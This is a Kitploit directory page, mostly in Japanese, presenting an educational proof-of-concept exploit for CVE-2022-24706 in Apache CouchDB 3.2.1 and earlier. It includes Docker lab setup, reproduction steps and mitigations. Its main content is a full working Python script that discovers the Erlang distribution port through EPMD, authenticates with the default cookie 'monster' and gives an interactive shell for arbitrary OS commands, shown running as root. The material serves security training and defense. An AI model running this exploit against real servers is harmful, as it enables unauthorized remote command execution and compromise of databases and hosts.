Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-24706 — CVE-2022-24706向けの概念実証エクスプロイト。Apache CouchDB 3.2.1以下を対象とする。デフォルトのクッキー認証を使用したErlang Distribution Protocolを介したリモートコマンド実行を実証する。 | Kitploit
ツール/GitHubGitHub/junghyeonkum/cve-2022-24706
脆弱性分析エクスプロイトペネトレーションテスト学習と教育リモートアクセスツールデータベースセキュリティ
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

CVE-2022-24706向けの概念実証エクスプロイト。Apache CouchDB 3.2.1以下を対象とする。デフォルトのクッキー認証を使用したErlang Distribution Protocolを介したリモートコマンド実行を実証する。

リポジトリを見る
42ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-24706

コントリビューター

  • ホワイトハットスクール4期39班 クム・ジョンヒョン(@junghyeonkum)

CouchDB Erlang Distribution リモートコマンド実行の脆弱性 (CVE-2022-24706)

概要

Apache CouchDBは、Erlangで実装されたオープンソースのドキュメント指向NoSQLデータベースです。

Apache CouchDBはErlangで開発されているため、分散コンピューティング(クラスタリング)機能をデフォルトでサポートしています。クラスタノードはErlang/OTP Distribution Protocolを使用して相互に通信し、このプロトコルを介してCouchDBを実行するユーザーの権限でオペレーティングシステム(OS)コマンドを実行できます。

OSコマンドを実行するには、ErlangでCookieと呼ばれる認証文字列(Secret Phrase)を知っている必要があります。CouchDB 3.2.1以前のバージョンでは、インストール時にデフォルトのCookie値がmonsterに設定されており、この値を知っている攻撃者は認証を突破してリモートからOSコマンドを実行できます。

参考資料:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

環境要件

本実習を実施するには、次の環境が必要です。

  • DockerおよびDocker Composeがインストールされている必要があります。
  • PoC実行のためにPython 3がインストールされている必要があります。
  • Apple Silicon(M1/M2/M3)ベースのmacOSでは、イメージプラットフォームに関する警告が表示される場合があります。ほとんどの場合、Docker Desktopがamd64イメージを自動的にエミュレーションして実行するため、特別な対応は必要ありません。もしコンテナが正常に動作しない場合は、docker-compose.ymlのcouchdbサービスにplatform: linux/amd64オプションを追加して実行できます。

    Python 3がインストールされていない場合は、以下のコマンドでインストールできます。

    root@kitploit:~
    sudo apt update
    sudo apt install -y python3
    

    環境設定

    次のコマンドを実行して、Apache CouchDB 3.2.1環境を起動します。

    root@kitploit:~
    docker compose up -d
    

    サービスが起動すると、target-ipで以下の3つのポートが開きます。

    • 5984: Apache CouchDBウェブインターフェース
    • 4369: Erlang Port Mapper Daemon(EPMD)
    • 9100: クラスタ通信およびランタイム管理ポート(実際のコマンドはこのポートを介して実行されます。)

    実際の環境では、ウェブインターフェースポート(5984)とEPMDサービスポート(4369)は固定されていますが、クラスタ通信ポートは実行ごとに変更される可能性があります。そのため、EPMDサービスにアクセスして、現在使用中のクラスタ通信ポート番号を確認できます。

    Apache CouchDBが正常に起動すると、http://target-ip:5984でバージョン情報を確認できます。

    脆弱性の条件

    本脆弱性は、次の条件を満たす場合に発生します。

    • Apache CouchDB 3.2.1以前のバージョンが実行中であること。
    • Erlang Distribution機能が有効であること。
    • Erlang Cookieがデフォルト値(monster)に設定されていること。
    • Erlang Distributionサービス(EPMD)にアクセス可能であること。

    再現手順

    1. 次のコマンドを実行して、脆弱なApache CouchDB環境を起動します。
    root@kitploit:~
    docker compose up -d
    
    1. EPMDサービス(4369)が実行中の状態で、以下のコマンドを実行してPoCを実施します。
    root@kitploit:~
    python3 poc.py target-ip 4369
    
    1. PoCはEPMDサービスから現在使用中のクラスタ通信ポート番号を取得した後、デフォルトCookie(monster)を使用してErlang Distribution Protocolの認証を実行します。

    2. 認証が完了すると、任意のOSコマンドを入力してリモートコマンド実行の可否を確認できます。

    PoCコード

    root@kitploit:~
    #!/usr/local/bin/python3
    
    # Python 기본 라이브러리
    import socket
    from hashlib import md5
    import struct
    import sys
    import re
    import time
    
    # 대상 서버 및 기본 설정
    TARGET = sys.argv[1]
    EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
    COOKIE = "monster" # CouchDB 기본 Erlang Cookie 
    ERLNAG_PORT = 0
    EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
    
    # Erlang 인증 및 제어 메시지
    NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
    CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
    CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
    CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
    
    # 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
    def compile_cmd(CMD):
        MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
        MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
        MSG += struct.pack(">H", len(CMD))
        MSG += bytes(CMD, 'ascii')
        MSG += b'jw\x04user'
        PAYLOAD = b'\x70' + CTRL_DATA + MSG
        PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
        return PAYLOAD
    
    print("Remote Command Execution via Erlang Distribution Protocol.\n")
    
    # EPMD 서버에 접속하여 Erlang 노드 정보 획득
    try:
        epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        epm_socket.connect((TARGET, EPMD_PORT))
    except socket.error as msg:
        print("Couldnt connect to EPMD: %s\n terminating program" % msg)
        sys.exit(1)
        
    # Erlang 노드 목록 요청
    epm_socket.send(EPM_NAME_CMD) 
    
    # 정상 응답이면 노드 정보를 가져옴
    if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
        data = epm_socket.recv(1024)
        data = data[0:len(data) - 1].decode('ascii')
        data = data.split("\n")
        if len(data) == 1:
            choise = 1
            print("Found " + data[0])
        else:
            print("\nMore than one node found, choose which one to use:")
            line_number = 0
            for line in data:
                line_number += 1
                print(" %d) %s" %(line_number, line))
            choise = int(input("\n> "))
            
        ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
    else:
        print("Node list request error, exiting")
        sys.exit(1)
    epm_socket.close()
    
    # Erlang 노드에 접속
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET, ERLNAG_PORT))
    except socket.error as msg:
        print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
        sys.exit(1)
       
    # Challenge 값 수신
    s.send(NAME_MSG)
    s.recv(5)
    challenge = s.recv(1024)     
    print(challenge)
    challenge = struct.unpack(">I", challenge[9:13])[0]
    
    
    # Challenge 값을 이용하여 인증 정보 생성
    CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
        + bytes(str(challenge), "ascii")).digest()
    
    # 인증 요청
    s.send(CHALLENGE_REPLY)
    CHALLENGE_RESPONSE = s.recv(1024)
    
    # 인증 성공 여부 확인
    if len(CHALLENGE_RESPONSE) == 0:
        print("Authentication failed, exiting")
        sys.exit(1)
    
    print("Authentication successful")
    print("Enter command:\n")
    
    data_size = 0
    
    # 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
    while True:
        if data_size <= 0:
            CMD = input("> ")
            if not CMD:
                continue
            elif CMD == "exit":
                sys.exit(0)
            s.send(compile_cmd(CMD))
            data_size = struct.unpack(">I", s.recv(4))[0] 
            s.recv(45)              
            data_size -= 45         
            time.sleep(0.1)
        elif data_size < 1024:        
            data = s.recv(data_size)
            time.sleep(0.1)
            print(data[3:].decode())
            data_size = 0
        else:        
            data = s.recv(1024)
            time.sleep(0.1)
            print(data[4:].decode())
            data_size -= 1024
    

    実行結果

    PoCの実行結果、EPMDサービスを介してクラスタ通信ポートが正常に確認され、Authentication successfulメッセージによりErlang Distribution Protocolの認証が成功したことを確認できます。

    その後、whoamiコマンドを実行してコマンドがroot権限で実行されることを確認し、idコマンドでユーザーおよびグループ情報を確認できます。また、touch /tmp/successコマンドで対象システムの/tmpディレクトリにsuccessファイルを作成し、ls /tmpコマンドでそのファイルが作成されたことを確認できます。これにより、入力したOSコマンドが対象システムで実際に実行されたことを検証できます。

    環境の終了

    実習が完了したら、次のコマンドを実行してDockerコンテナとネットワークを停止します。

    root@kitploit:~
    docker compose down
    

    対策

    1. 最新バージョンへのアップデート
      Apache CouchDBを3.2.2以降のバージョンにアップデートして、デフォルトのErlang Cookie使用問題を解決します。

    2. デフォルトのErlang Cookieの変更
      デフォルトのCookie値(monster)を使用せず、推測が困難な任意の値に変更して、認証バイパスやリモートコマンド実行を防止します。

    3. EPMDおよびクラスタ通信ポートへのアクセス制限
      EPMD(4369)およびクラスタ通信ポートは、信頼されたホストからのみアクセスできるように、ファイアウォールやアクセス制御ポリシーを適用します。

    4. 不要なErlang Distribution機能の無効化
      クラスタ機能を使用しない環境では、Erlang Distribution機能または関連サービスの外部アクセスを制限して、攻撃の可能性を最小限に抑えます。

    ツールをダウンロード